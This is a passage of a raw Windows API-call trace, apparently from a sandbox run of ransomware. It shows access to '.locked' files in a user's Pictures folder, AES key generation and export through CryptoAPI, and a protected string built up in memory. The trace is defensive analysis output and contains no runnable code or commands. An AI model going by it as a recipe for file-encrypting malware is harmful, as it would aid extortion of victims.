Data4=([0]=0xaf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.992] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.992] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.994] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0136.994] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a67534 | out: lpFileInformation=0x6a67534*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14df92c1, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x14df92c1, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x14df92c1, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x4b84)) returned 1 [0136.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0136.994] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0136.994] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0136.995] CloseHandle (hObject=0x764) returned 1 [0136.997] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.997] GetConsoleOutputCP () returned 0x1b5 [0136.997] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.997] GetConsoleOutputCP () returned 0x1b5 [0136.998] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.998] GetConsoleOutputCP () returned 0x1b5 [0136.998] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.999] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.999] GetConsoleOutputCP () returned 0x1b5 [0136.999] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.999] GetConsoleOutputCP () returned 0x1b5 [0136.999] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.999] GetConsoleOutputCP () returned 0x1b5 [0137.000] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.000] GetConsoleOutputCP () returned 0x1b5 [0137.000] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.000] GetConsoleOutputCP () returned 0x1b5 [0137.001] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.001] GetConsoleOutputCP () returned 0x1b5 [0137.001] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.001] GetConsoleOutputCP () returned 0x1b5 [0137.001] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.001] GetConsoleOutputCP () returned 0x1b5 [0137.002] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.002] GetConsoleOutputCP () returned 0x1b5 [0137.002] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.002] GetConsoleOutputCP () returned 0x1b5 [0137.003] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.003] GetConsoleOutputCP () returned 0x1b5 [0137.003] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.003] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0137.003] GetConsoleOutputCP () returned 0x1b5 [0137.004] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0137.004] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.004] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a8e438*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a8e438*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0137.005] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.005] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0137.009] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.009] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.009] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.010] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.010] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.010] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.011] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0137.011] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.011] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.011] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.012] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43964e8) returned 1 [0137.012] CryptGenKey (in: hProv=0x43964e8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84bf8) returned 1 [0137.012] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.012] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.012] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a97cd4, pdwDataLen=0x99ae894 | out: pbData=0x6a97cd4*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x7c64\x6a9\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0137.013] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.013] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.013] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.013] SysStringLen (param_1="") returned 0x8 [0137.013] SysStringLen (param_1="E") returned 0x8 [0137.013] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.013] SysStringLen (param_1="\x6e7b\xd2b8\x3e38\x263e\x1fa0\x230f\x1935\xe4f7") returned 0x8 [0137.013] SysStringLen (param_1="\x6e7b\xd2b8\x3e38\x263e\x1fa0\x230f\x1935\xe4f7") returned 0x8 [0137.013] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.013] SysStringLen (param_1="Ed") returned 0x8 [0137.013] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.014] SysStringLen (param_1="\xd64a\x6bcb\x47f9\x2909\xfbcd\x23c3\x8b1e\xe8a5") returned 0x8 [0137.014] SysStringLen (param_1="\xd64a\x6bcb\x47f9\x2909\xfbcd\x23c3\x8b1e\xe8a5") returned 0x8 [0137.014] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.014] SysStringLen (param_1="EdX") returned 0x8 [0137.014] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.014] SysStringLen (param_1="\x34dc\x3f55\x9a2e\x380a\xcd6b\x1003\xae18\x8393") returned 0x8 [0137.014] SysStringLen (param_1="\x34dc\x3f55\x9a2e\x380a\xcd6b\x1003\xae18\x8393") returned 0x8 [0137.014] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.014] SysStringLen (param_1="EdXR") returned 0x8 [0137.014] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.014] SysStringLen (param_1="\xf133\x7645\x2f06\x94ec\xdf59\x9785\x510d\xc6b6") returned 0x8 [0137.014] SysStringLen (param_1="\xf133\x7645\x2f06\x94ec\xdf59\x9785\x510d\xc6b6") returned 0x8 [0137.014] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.014] SysStringLen (param_1="EdXRF") returned 0x8 [0137.014] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.014] SysStringLen (param_1="\xb6fa\x4bb8\x4598\xd239\x759a\xd901\x1029\xd744") returned 0x8 [0137.014] SysStringLen (param_1="\xb6fa\x4bb8\x4598\xd239\x759a\xd901\x1029\xd744") returned 0x8 [0137.014] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.015] SysStringLen (param_1="EdXRFD") returned 0x8 [0137.015] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.015] SysStringLen (param_1="\x9c35\xaf6f\x668a\x65e5\x61f3\xe830\x9155\x7ae2") returned 0x8 [0137.015] SysStringLen (param_1="\x9c35\xaf6f\x668a\x65e5\x61f3\xe830\x9155\x7ae2") returned 0x8 [0137.015] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.015] SysStringLen (param_1="EdXRFDA") returned 0x8 [0137.015] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.015] SysStringLen (param_1="\xf520\xbcba\xb5d4\xeab9\xa957\xaaba\xa21c\x5850") returned 0x8 [0137.015] SysStringLen (param_1="\xf520\xbcba\xb5d4\xeab9\xa957\xaaba\xa21c\x5850") returned 0x8 [0137.015] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.015] SysStringLen (param_1="EdXRFDAn") returned 0x8 [0137.015] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.015] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83") returned 0x8 [0137.015] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83") returned 0x8 [0137.015] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83") returned 0x8 [0137.015] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83") returned 0x10 [0137.015] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.015] SysStringLen (param_1="EdXRFDAn0Ǥ讯唾﫸⏰᩽빐") returned 0x10 [0137.016] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.016] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x477b\x6ba3\x3608\x99e0\x306\xa6af\x11bc\x4eeb") returned 0x10 [0137.016] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x477b\x6ba3\x3608\x99e0\x306\xa6af\x11bc\x4eeb") returned 0x10 [0137.016] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.016] SysStringLen (param_1="EdXRFDAn0E讯唾﫸⏰᩽빐") returned 0x10 [0137.016] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.016] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x7d3d\xeebc\xbf34\xe5a0\x3286\xa898\xff73\x4b39") returned 0x10 [0137.016] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x7d3d\xeebc\xbf34\xe5a0\x3286\xa898\xff73\x4b39") returned 0x10 [0137.016] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.016] SysStringLen (param_1="EdXRFDAn0EC唾﫸⏰᩽빐") returned 0x10 [0137.016] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.016] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\xc3c9\xa212\x5fa4\x70ae\x34fb\x1eb3\xa4e4\xfa52") returned 0x10 [0137.016] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\xc3c9\xa212\x5fa4\x70ae\x34fb\x1eb3\xa4e4\xfa52") returned 0x10 [0137.016] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.016] SysStringLen (param_1="EdXRFDAn0ECJ﫸⏰᩽빐") returned 0x10 [0137.016] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.016] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x3bba\x7520\x9978\x529\x1663\xe4\x4fd6\x235c") returned 0x10 [0137.016] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x3bba\x7520\x9978\x529\x1663\xe4\x4fd6\x235c") returned 0x10 [0137.016] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.017] SysStringLen (param_1="EdXRFDAn0ECJs⏰᩽빐") returned 0x10 [0137.017] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.017] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x288e\xe7c9\x2a40\x26c0\x4a93\xa16c\x56b5\x991") returned 0x10 [0137.017] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x288e\xe7c9\x2a40\x26c0\x4a93\xa16c\x56b5\x991") returned 0x10 [0137.017] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.017] SysStringLen (param_1="EdXRFDAn0ECJsH᩽빐") returned 0x10 [0137.017] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.017] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x6850\x39df\x7a2a\x887c\x4a3f\xd9a\x5e0b\x5c49") returned 0x10 [0137.017] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x6850\x39df\x7a2a\x887c\x4a3f\xd9a\x5e0b\x5c49") returned 0x10 [0137.017] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.017] SysStringLen (param_1="EdXRFDAn0ECJsHI빐") returned 0x10 [0137.017] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.017] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\xe3dd\xd1f0\x243f\x5fb6\x858\x2cbc\x3f86\x1ce3") returned 0x10 [0137.017] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\xe3dd\xd1f0\x243f\x5fb6\x858\x2cbc\x3f86\x1ce3") returned 0x10 [0137.017] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.017] SysStringLen (param_1="EdXRFDAn0ECJsHIv") returned 0x10 [0137.017] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.018] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054") returned 0x10 [0137.018] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054") returned 0x10 [0137.019] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054") returned 0x10 [0137.019] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054") returned 0x18 [0137.019] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.019] SysStringLen (param_1="EdXRFDAn0ECJsHIvz᧮⼹蛽䠂蝵钙炇") returned 0x18 [0137.019] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.019] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xed7d\x6697\x821d\x89f\x49ed\x49b8\x4a07\xbc32") returned 0x18 [0137.019] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xed7d\x6697\x821d\x89f\x49ed\x49b8\x4a07\xbc32") returned 0x18 [0137.019] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.019] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0⼹蛽䠂蝵钙炇") returned 0x18 [0137.019] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.019] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xb0e9\x3aa3\x4b9f\xb73e\x3dae\x98c1\x5ec9\x7f1") returned 0x18 [0137.019] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xb0e9\x3aa3\x4b9f\xb73e\x3dae\x98c1\x5ec9\x7f1") returned 0x18 [0137.019] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.019] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0W蛽䠂蝵钙炇") returned 0x18 [0137.019] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.019] SysStringLen 